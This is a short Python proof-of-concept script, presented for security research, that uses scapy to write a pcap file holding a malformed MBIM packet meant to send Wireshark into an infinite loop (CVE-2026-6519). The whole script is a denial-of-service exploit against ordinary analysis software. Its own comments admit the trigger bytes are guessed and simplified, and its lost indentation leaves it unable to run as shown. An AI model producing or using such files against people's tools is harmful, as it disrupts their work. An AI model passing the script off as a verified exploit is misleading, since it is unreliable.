The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-6519 (Wireshark MBIM Infinite Loop)
# This script generates a malformed MBIM packet intended to trigger the infinite loop.
# Note: Actual trigger bytes may vary based on specific parser implementation details.
from scapy.all import *
import sys
def craft_malformed_mbim():
# Define a custom MBIM header structure (simplified for PoC)
# In a real scenario, specific offsets or lengths trigger the bug.
# Example: Constructing a raw packet that mimics MBIM control message
# with a length field that causes parsing issues.
malformed_packet = (
b"\x01\x00\x00\x00" # MessageType (Command)
b"\x00\x00\x00\x00" # Length (potentially malformed)
b"\x00\x00\x00\x00" # TransactionId
b"\x41\x41\x41\x41" # Padding/Trigger pattern
)
# Wrap in Ethernet/IP/UDP usually, but dissector might parse raw if configured
# Assuming dissector runs on specific port or heuristics
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / IP(dst="192.168.1.1") / UDP(dport=12345) / Raw(malformed_packet)
# Save to pcap
wrpcap("cve_2026_6519_poc.pcap", [pkt])
print("[+] PoC file generated: cve_2026_6519_poc.pcap")
print("[+] Open this file in vulnerable Wireshark version to test.")
if __name__ == "__main__":
craft_malformed_mbim()